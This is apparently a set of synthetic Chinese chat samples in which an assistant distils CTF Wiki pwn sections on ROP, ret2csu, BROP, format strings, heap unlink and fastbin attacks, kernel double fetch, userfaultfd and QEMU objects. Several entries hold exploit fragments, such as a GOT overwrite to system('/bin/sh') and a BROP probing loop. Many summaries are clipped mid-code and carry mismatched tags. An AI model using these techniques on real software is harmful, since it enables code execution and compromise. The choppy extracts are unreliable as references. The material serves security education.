- } ` 我们可以直接通过如下操作来为一块匿名的 mmap 内存注册 userfaultfd： `c register_userfaultfd(thread, addr, len, handler);
- ` 需要注意的是 handler 的写法，这里笔者直接照抄 Linux man page 改了改，可以根据个人需求进行个性化改动： `c static char uffd_src_page = NULL;
- / [在这停顿.jpg] 当 poll 返回时说明出现了缺页异常 你可以在这里插入一些比如说 sleep() 一类的操作， 例如等待其他进程完成对象的重分配后再重新进行拷贝一类的，也可以直接睡死 ：） / if (nready == -1) err_exit("poll");
- } void register_userfaultfd(pthread_t monitor_thread, void addr, unsigned long len, void (handler)(void)) { long uffd;

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 29 行，首行 `void err_exit(char *msg)`
- c: 1 行，首行 `register_userfaultfd(thread, addr, len, handler);`
- c: 43 行，首行 `static char *uffd_src_page = NULL; // 你要拷贝进去的数据`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

使用方法

用 userfaultfd 创造条件竞争
使用方法

AI安全 漏洞利用 pwn linux kernel-mode exploitation code:c

用 userfaultfd 创造条件竞争


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/arm/rop.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/arm/rop.md`
标题：Arm ROP
章节：Arm ROP > jarvisoj - typo > 利用思路
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“利用思路”展开。
- 因此需要我们找一个溢出点，先运行一下程序，因为是静态链接的，所以在环境配置好的情况下直接运行即可 ``bash jarvisOJ_typo [master●●] ./typo Let's Do Some Typing Exercise~ Press Enter to get start;

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:bash

代码/命令片段线索：
- bash: 11 行，首行 `jarvisOJ_typo [master●●] ./typo`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

利用思路

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:bash

Arm ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get addr of system」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > get addr of system
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“get addr of system”展开。
- libc = LibcSearcher("puts", puts_addr) system_offset = libc.dump('system') puts_offset = libc.dump('puts') system_addr = puts_addr - puts_offset + system_offset log.success('system addr : ' + hex(system_addr))

关键术语：
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

get addr of system

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「modify puts@got, point to system_addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`
标题：例子
章节：例子 > modify puts@got, point to system_addr
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“modify puts@got, point to system_addr”展开。
- payload = fmtstr_payload(7, {puts_got: system_addr}) put('/bin/sh;
- ', payload) sh.recvuntil('ftp>') sh.sendline('get') sh.recvuntil('enter the file name you want to get:') ##gdb.attach(sh) sh.sendline('/bin/sh;

关键术语：
- 漏洞利用
- pwn
- linux
- user-mode
- fmtstr

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

modify puts@got, point to system_addr

例子
modify puts@got, point to system_addr

例子


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「是否连续」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：define DEFAULT_TOP_PAD 131072 > 是否连续
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“是否连续”展开。
- 如果我们希望堆的空间连续的话，那么其实可以复用之前的内存。
- ``c / If contiguous, we can subtract out existing space that we hope to combine with new space.
- We add it back later only if we don't actually get contiguous space. / if (contiguous(av)) size -= old_size;

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 7 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

是否连续

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「漏洞」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`
标题：Fastbin Attack
章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 漏洞
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“漏洞”展开。
- } ` 因为 read_str 不设置NULL ，因此，如果 nptr 读取的不合法的话，就有可能会 leak 出栈上的内容。
- ` 可以看出，在每次释放 i->sentence_ptr 之前，这个句子的内容就会全部被设置为 \x00 ，由于单词结构体中存储的单词只是句子的一个指针，所以单词也会被置为 \x00 。
- 此外，当句子被 memset 的时候，单词虽然都变为了 \x00 ，但是我们仍然可以通过两个 \x00 的比较来绕过 memcmp` 的检测。
- 看起来由于句子内容被置为 \x00 可以防止通过 i->sentence_ptr 验证。
- if ( v5 == '\n' && _flag_enter ) { if ( v4 ) { v5 = 0;

关键术语：
- 堆
- 栈
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c

代码/命令片段线索：
- c: 26 行，首行 `_flag_enter = flag_enter;`
- c: 17 行，首行 `__int64 read_num()`
- c: 4 行，首行 `else`
- c: 21 行，首行 `for ( i = head; i; i = i->next )`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

漏洞

Fastbin Attack
2015 9447 CTF : Search Engine
漏洞

堆 栈 漏洞利用 pwn linux user-mode heap code:c

Fastbin Attack


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「改进2-多次利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > ret2csu > 思考 > 改进 > 改进2-多次利用
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“改进2-多次利用”展开。
- 但这里的多次利用需要更加严格的条件 - 漏洞可以被多次触发 - 在两次触发之间，程序尚未修改 r12-r15 寄存器，这是因为要两次调用。
- 当然，有时候我们也会遇到一次性可以读入大量的字节，但是不允许漏洞再次利用的情况，这时候就需要我们一次性将所有的字节布置好，之后慢慢利用。
- 我们可以看到我们的 gadgets 是分为两部分的，那么我们其实可以进行两次调用来达到的目的，以便于减少一次 gadgets 所需要的字节数。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

改进2-多次利用

中级ROP ret2csu 思考 改进 改进2-多次利用

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「III、Object - 类的实例对象」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > QEMU Object Model > III、Object - 类的实例对象
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“III、Object - 类的实例对象”展开。
- 我们还需要定义一个相应的 Object 类型来表示一个实例对象，其包含有这个类实际的具体数据，且应当继承于对应的 Object 结构体类型，例如我们若是要定义一个新的机器类型，其实例类型应当继承自 MachineState 所有 Object 结构体类型的最终的父类都是 Object 结构体： ``c /* Object: 所有对象的基类。
- ` 下面是一个示例： `c struct A3Object { /< private >/ Object parent;
- 因为 C 中将一个结构体的第一个成员组织在该结构体的 0 字节起始处， 只要任何的子类将其父类作为第一个成员，我们都能直接转化为一个 #Object. 因此, #Object 包含一个对对象类的引用作为其第一个成员。
- 这允许在运行时识别对象的真实类型 / struct Object { /< private >/ ObjectClass class;
- 该对象的第一个成员为一个指向 #ObjectClass 的指针。

关键术语：
- ROP/JOP
- pwn
- virtualization
- qemu
- environment
- code:c

代码/命令片段线索：
- c: 19 行，首行 `/**`
- c: 5 行，首行 `struct A3Object`
- c: 16 行，首行 `static void a3_object_init(Object *obj)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

III、Object - 类的实例对象

编写 QEMU 模拟设备
QEMU Object Model
III、Object - 类的实例对象

ROP/JOP pwn virtualization qemu environment code:c

编写 QEMU 模拟设备


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找PLT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 攻击原理 > Blind ROP > 寻找PLT
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“寻找PLT”展开。
- [图片文件: ./figure/brop_plt.png] 此外，对于大多数plt调用来说，一般都不容易崩溃，即使是使用了比较奇怪的参数。
- 除此之外，我们还可以通过前后偏移6字节，来判断我们是处于plt表项中间还是说处于开头。
- 而且，在每一个表项的6字节偏移处，是该表项对应的函数的解析路径，即程序最初执行该函数的时候，会执行该路径对函数的got地址进行解析。
- 所以说，如果我们发现了一系列的长度为16的没有使得程序崩溃的代码段，那么我们有一定的理由相信我们遇到了plt表。
- 如下图所示，程序的plt表具有比较规整的结构，每一个plt表项都是16字节。

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- pwn
- linux
- user-mode
- stackoverflow

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寻找PLT

边界/溢出 栈 ROP/JOP pwn linux user-mode stackoverflow

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：触发 system('/bin/sh') > 2014 HITCON stkof > 基本信息
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本信息”展开。
- ``shell ➜ 2014_hitcon_stkof git:(master) file stkof stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripp...

关键术语：
- 堆
- 栈
- pwn
- linux
- user-mode
- heap
- code:shell

代码/命令片段线索：
- shell: 9 行，首行 `➜ 2014_hitcon_stkof git:(master) file stkof`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本信息

触发 system('/bin/sh')
2014 HITCON stkof
基本信息

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「large bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`
标题：申请内存块
章节：申请内存块 > _int_malloc > large bin
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 但是，其实在 large bin 中并没有直接去扫描对应 bin 中的chunk，而是先利用 malloc_consolidate（参见malloc_state相关函数） 函数处理 fast bin 中的chunk，将有可能能够合并的 chunk 先进行合并后放到 unsorted bin 中，不能够合并的就直接放到 unsorted bin 中，然后再在下面的大循环中进行相应的处理。
- 这是ptmalloc 的机制，它会在分配 large chunk 之前对堆中碎片 chunk 进行合并，以便减少堆中的碎片。
- While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins.
- ``c++ / If this is a large request, consolidate fastbins before continuing.
- // 如果存在fastbin的话，会处理 fastbin if (have_fastchunks(av)) malloc_consolidate(av);
- 当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时，就会考虑是不是 large bin。

关键术语：
- 堆
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 16 行，首行 `/*`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

large bin

堆 AI安全 漏洞利用 pwn linux user-mode heap code:c++

申请内存块


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本操作」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`
标题：Unlink
章节：触发 system('/bin/sh') > 2016 ZCTF note2 > 基本思路 > 基本操作
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“基本操作”展开。
- ```python p = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'
- def newnote(length, content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)') p.sendline(str(length)) p.recvuntil('content:') p.sendline(content)
- def shownote(id): p.recvuntil('option--->>') p.sendline('2') p.recvuntil('note:') p.sendline(str(id))
- def editnote(id, choice, s): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('note:') p.sendline(str(id)) p.recvuntil('2.append]') p.sendline(str(choice)) p.sendline(s)
- def deletenote(id): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('note:') p.sendline(str(id)) ```

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:python

代码/命令片段线索：
- python: 29 行，首行 `p = process('./note2')`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

基本操作

触发 system('/bin/sh')
2016 ZCTF note2
基本思路
基本操作

Unlink


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「Exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`
标题：Double Fetch
章节：Double Fetch > 2018 0CTF Finals Baby Kernel > Exploit
路径分类：pwn / pwn/linux/kernel-mode
分块：1/1

核心知识点：
- 本节主题围绕“Exploit”展开。
- } void exploit(void) { int fd, result_fd, addr_fd, flag_fd;
- } int main(int argc, char argv, char envp) { exploit();
- void chal_print_flag(int fd) { ioctl(fd, 0x6666);
- } void chal_verify_flag(int fd, struct chal_arg arg) { ioctl(fd, 0x1337, arg);
- } void race_thread_fn(void args) { while (flag_not_found) { for (int i = 0;

关键术语：
- AI安全
- 漏洞利用
- pwn
- linux
- kernel-mode
- exploitation
- code:c

代码/命令片段线索：
- c: 104 行，首行 `/**`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Exploit

Double Fetch
2018 0CTF Finals Baby Kernel
Exploit

Double Fetch


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`
标题：堆相关数据结构
章节：define INTERNAL_SIZE_T size_t > bin > 概述
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“概述”展开。
- 我们曾经说过，用户释放掉的 chunk 不会马上归还给系统，ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的chunk。
- 这样可以避免频繁的系统调用，降低内存分配的开销。
- 这些bin对应的数据结构在 malloc_state 中，如下 ``c++ #define NBINS 128 / Normal bins packed as described above / mchunkptr bins[ NBINS 2 - 2 ];
- 需要注意的是，并不是所有的 chunk 被释放后就立即被放到 bin 中。
- bin 通用的宏如下 `c++ typedef struct malloc_chunk mbinptr;

关键术语：
- 堆
- pwn
- linux
- user-mode
- heap
- code:c++

代码/命令片段线索：
- c++: 3 行，首行 `#define NBINS 128`
- c++: 14 行，首行 `typedef struct malloc_chunk *mbinptr;`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

概述

堆相关数据结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找 stop gadgets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > BROP > 例子 > 寻找 stop gadgets
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“寻找 stop gadgets”展开。
- \n') payload = 'a' * length + p64(addr) sh.sendline(payload) sh.recv() sh.close() print 'one success addr: 0x%x' % (addr) return addr except Exception: addr += 1 sh.close() ` 这里我们直接尝试64位程序没有开启PIE的情况，因为一般是这个样子的，，，如果开启了，，那就按照开启了的方法做，，结果发现了不少，，我选择了一个貌似返回到源程序中的...
- 寻找过程如下 ``python def get_stop_addr(length): addr = 0x400000 while 1: try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?

关键术语：
- 边界/溢出
- 栈
- ROP/JOP
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:python
- code:text

代码/命令片段线索：
- python: 15 行，首行 `def get_stop_addr(length):`
- text: 1 行，首行 `one success stop gadget addr: 0x4006b6`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

寻找 stop gadgets

边界/溢出 栈 ROP/JOP 漏洞利用 pwn linux user-mode stackoverflow code:python code:text

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`
标题：中级ROP
章节：中级ROP > ret2csu > 示例
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 本节主题围绕“示例”展开。
- 其次，寻找程序的漏洞，可以看出程序中有一个简单的栈溢出 `c ssize_t vulnerable_function() { char buf;
- 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。
- 基本利用思路如下 - 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址，并使得程序重新执行 main 函数 - 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址 - 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址，并使得程序重新执行main 函数。
- 首先检查程序的安全保护 ``shell ➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabledd PIE: No PIE (0x400000) ` 程序为 64 位，开启了堆栈不可执行保护。
- } ` 简单浏览下程序，发现程序中既没有 system 函数地址，也没有 /bin/sh 字符串，所以两者都需要我们自己去构造了。

关键术语：
- 边界/溢出
- 堆
- 栈
- ROP/JOP
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- stackoverflow
- code:shell
- code:c
- code:python

代码/命令片段线索：
- shell: 6 行，首行 `➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5`
- c: 5 行，首行 `ssize_t vulnerable_function()`
- python: 41 行，首行 `from pwn import *`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

示例

边界/溢出 堆 栈 ROP/JOP AI安全 漏洞利用 pwn linux user-mode stackoverflow code:shell code:c code:python

中级ROP


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「QEMU Object Model」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > QEMU Object Model
路径分类：pwn / pwn/virtualization/qemu
分块：1/1

核心知识点：
- 本节主题围绕“QEMU Object Model”展开。
- Property：动态对象数据的访问器（accessor），可以通过监视器接口进行检查。
- 在 Qemu 当中有着一套叫做 Qemu Object Model 的东西来实现面向对象，主要由这四个组件构成： - Type：用来定义一个「类」的基本属性，例如类的名字、大小、构造函数等。
- Class：用来定义一个「类」的静态内容，例如类中存储的静态数据、方法函数指针等。
- Object：动态分配的一个「类」的具体的实例（instance），储存类的动态数据。
- 类似于 Golang，在 QOM 当中使用成员嵌套的方式来完成类的继承，父类作为类结构体的第一个成员 parent 而存在，因此也不支持多继承。

关键术语：
- ROP/JOP
- pwn
- virtualization
- qemu
- environment

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

QEMU Object Model

ROP/JOP pwn virtualization qemu environment

编写 QEMU 模拟设备